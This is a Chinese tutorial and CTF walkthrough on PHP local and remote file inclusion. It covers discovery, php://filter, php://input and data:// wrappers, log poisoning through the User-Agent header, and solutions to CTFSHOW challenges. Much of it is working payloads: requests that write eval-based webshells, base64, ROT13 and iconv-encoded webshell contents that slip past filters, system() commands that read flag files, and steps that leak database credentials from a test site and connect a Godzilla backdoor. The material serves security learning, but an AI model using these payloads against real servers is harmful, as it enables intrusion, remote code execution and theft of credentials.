050-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒-cnblog
文件包含-原理&分类&利用&修复
1、原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
文件包含 包含的文件就被当做当前脚本语言去代码执行了
2、漏洞原因:
1、使用文件包含函数
2、包含的文件可控
3、漏洞简单复现
1.在本地网站下面创建一个include.php文件 代码写如include($_GET['file']);
使用include
函数来包$_GET['file']
,这是危险的做法,因为用户可以通过修改URL参数传递恶意文件路径,导致安全漏洞。
2.创建1.txt,写入
3.访问对应文件路径,并传入参数http://192.168.232.195/demo01/include.php?file=1.txt 相当于include(‘2.txt’);
4、分类
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定
环境配置
-
找到对应的小皮PHP设置中的远程包含并开启或者在对应网址服务的PHP版本下找到php.ini文件,并将allow_url_include=Off改为On即可
-
通过远程服务,创建file.txt内容为
<?php phpinfo();?>
,并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可
5、白盒审计:(CTFSHOW)
白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
PHP:include、require、include_once、require_once等 """ PHP:include、require、include_once、require_once 等include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
Java:java.io.File、java.io.FileReader等 Java:java.io.File、java.io.FileReader等 翻译为: Java:java.io.File、java.io.FileReader 等 (注:这里“等”字加不加均可,英文原文“等”字没有对应词,翻译习惯上可加“等”字使表述更自然)ASP.NET:System.IO.FileStream、System.IO.StreamReader等
6、黑盒分析:
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
7、利用
有文件利用:上传一个文件 文件写有我们的恶意代码(配合文件上传)
无文件利用:
1.包含日志文件利用
2.包含session文件利用
3.伪协议玩法利用
php://input与data://都需要开启allow_url_include才能使用
参考:https://blog.csdn.net/unexpectedthing/article/details/121276653
本地利用思路
文件读取
1、file:///d:/1.txt,读取d盘下的1.txt文件内容(需要使用绝对路径)
- http://192.168.232.195/demo01/include.php?file=file:///d:/1.txt
2、php://filter/read=convert.base64-encode/resource=1.php
读取名为1.php的文件(当前网址存放源码目录下),并将其内容以base64编码的形式返回。(相对路径)
- PD9waHAgcGhwaW5mbygpOz8+通过解码后是
文件写入
1、http://192.168.232.195/demo01/include.php?file=php://input在Post data中写入<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
成功写入文件并可以访问执行
2.http://192.168.232.195/demo01/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php
在Post data中写入content=131成功写入文件并可以访问执行
file_put_contents($_GET['file'],$_POST['content']);
使用该方式执行文件写入,必须要在代码中有这个才可以$_GET['file']
: 通过GET请求传递的file
参数,用于指定要写入内容的文件路径。这可能包含相对或绝对路径,具体取决于如何使用该代码$_POST['content']
: 通过POST请求传递的content
参数,用于指定要写入到文件中的内容。这是用户提供的数据,可以是任何字符串- 该代码的主要目的是将通过POST请求传递的内容写入指定的文件。
代码执行
1、http://192.168.74.195/demo01/include.php?file=php://input在Post data中写入
2、http://192.168.74.195/demo01/include.php?file=data://text/plain,在plain,后面加上你所要执行的代码
进行base64编码后也能执行`PD9waHAgcGhwaW5mbygpOz8%2B`-
http://192.168.74.195/demo01/include.php?file=data://text/plain,PD9waHAgcGhwaW5mbygpOz8%2B
-
伪协议的使用有条件限制 使用的时候及时观察一下
远程文件包含
-
直接搭建一个可访问的远程URL包含文件
-
找到对应的小皮PHP设置中的远程包含并开启或者在对应网址服务的PHP版本下找到php.ini文件,并将allow_url_include=Off改为On即可
-
通过远程服务,创建file.txt内容为 ,并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可
-
通过哥斯拉连接后门,成功获取权限
#黑盒利用-VULWEB-有无包含文件
漏洞环境
http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160
漏洞复现
- 使用burpsuite抓包 发送到repeter里面
- 将?file=后面的showimage.php修改为index.php发现存在包含并且爆出数据库配置文件database_connect.php
- 接下来继续修改尝试包含database_connect.php
- 爆出数据库 本地 账号 密码
#白盒利用-CTFSHOW-伪协议玩法
靶场地址:https://ctf.show/challenges
78-php&http协议
-
代码给出include文件包含的关键词
-
由于是无文件上传,所以使用无文件支持伪协议利用
-
两种方法
-
第一种直接通过文件读取(相对路径)
php://filter/read=convert.base64-encode/resource=flag.php
读取名为flag.php的文件(当前网址存放源码目录下),并将其内容以base64编码的形式返回,并通过解密拿到flag。 -
第二种:使用文件执行
-
?file=data://text/plain,<?php system('ls');?>
可以获取当前目录文件发现有一个flag.php -
?file=data://text/plain,<?php system('tac flag.php');?>
即可读取flag.php的中的内容system
函数执行tac
命令,该命令用于反向输出文件内容(以行为单位)。在这里,它尝试反向输出flag.php
文件的内容。如果flag.php
**文件存在并可读,那么该文件的内容将被反向显示
-
-
79-data&http协议
- 代码这里是关于include文件包含的关键词
- 由于是无文件上传,所以使用无文件支持伪协议利用
- 发现代码对php关键词过滤
- 在PHP中,
<?= ... ?>
是短标签(short tags)的一种形式,用于简洁地输出内容,等同于<?php echo ... ?>
。而<?php ... ?>
是标准的PHP起始和结束标记 - 两种方法
- 将文件执行中,直接去掉php关键词,依旧可以正常执行
?file=data://text/plain,**<?=system('ls');?>**
可以获取当前目录文件发现有一个flag.php?file=data://text/plain,**<?=system('tac flag*');?>**
即可读取flag.php的中的内容。成功获取到flag
- 使用文件执行,将数据流协议(
data://
)和base64编码的方式,将PHP代码嵌入URL中- data://text/plain;base64,
PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
- 解码为:
- data://text/plain;base64,
- 将文件执行中,直接去掉php关键词,依旧可以正常执行
80 81-日志包含
-
利用其他协议,如file,zlib等
-
利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃,故利用日志记录UA信息,UA带入代码包含:/var/log/nginx/access.log
- 代码给出include文件包含的关键词
- 由于是无文件上传,所以使用无文件支持伪协议利用
- 代码对php关键词和data关键词过滤
- 两种方式
- 第一种,使用文件执行PHP://input,并使用大小写绕过其对php的过滤
?file=PHP://input POST data:<?=system('ls');?>
**中写上对应的去掉PHP关键词php语句即可?file=PHP://input POST data:<?=system('tac fl0g.\*');?>
*中写上对应的去掉PHP关键词php语句,和*文件匹配的后缀,更改为*号绕过检测
- 第二种使用:日志记录文件包含,利用日志记录UA信息,UA带入代码
- 使用文件读取:
file:///var/log/nginx/access.log
读取对应的日志文件内容(绝对路径),成功读取 - 通过抓包,抓取到数据包,发送至repeater,并尝试修改UA头中的内容,修改成功,于是尝试在UA头中写入恶意代码
User-Agent: 222222222<?php=system('ls')?>
并发送数据包,成功写入,并被解析fl0g.php index.phpUser-Agent: 333333333<?php system('tac fl0g.php')?>
并发送数据包,成功写入,并被解析
- 使用文件读取:
87-php://filter/write&加密编码(文件写入,二次解密)
一、利用base64
- 正常来讲,浏览器会默认执行URL解码一次,但是提供代码中又加入了一次urldecode($file),二次解码,造成之前的过滤失效
- url编码2次:php://filter/write=convert.base64-decode/resource=123.php
- Post data:写入**content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg**
解码为<?php @eval($_POST[a]);?>
- 通过访问,创建木马文件123.php
- 并通过输入Post data:写入a=system(’ls’);
- 并通过输入Post data:写入a=system(‘tac fl0g.php’);
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
二、利用凯撒13
- url编码2次:
php://filter/write=string.rot13/resource=2.php
- Post data:写入content=
- ROT13解密:(木马设置的密码为:1)
- 通过访问,创建木马文件2.php
- 并通过输入Post data:写入1=system(’ls’);
- 并通过输入Post data:写入1=system(‘tac fl0g.php’);
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%32%25%32%45%25%37%30%25%36%38%25%37%30
88-data&base64协议
- 过滤PHP,各种符号,php代码编码写出无符号(+和=)base64值
- Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
- 解密:ad**(为了去掉+和=)
- 直接写,会出现被过滤的号==
117-php://filter/write
- 这里可以看到把将众多编码形式做了过滤包括
http
,https
,utf
,zlib
,data
,input
,rot13
,base64
,string
,log
,sess
,不区分大小写(i
标志)。
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
- Payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
- Post data 中写入:**
contents=**?<hp pvela$(P_SO[T]a;)>?
- 解码为:(木马设置的密码为:a)
- 通过访问,创建木马文件
a.php
- 并通过输入Post data:写入a=system(’ls’);
- 并通过输入Post data:写入a=system(‘tac flag.php’);
<?php
/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
//经过一次反转:?<hp pvela$(P_SO[T]a;)>?// 将经过一次编码转换后的字符串再次从 UCS-2LE 编码转换为 UCS-2BE 编码
echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);
//经过第二次反转:<?php eval($_POST[a]);?>
?>
参考文章:文件包含漏洞+php伪协议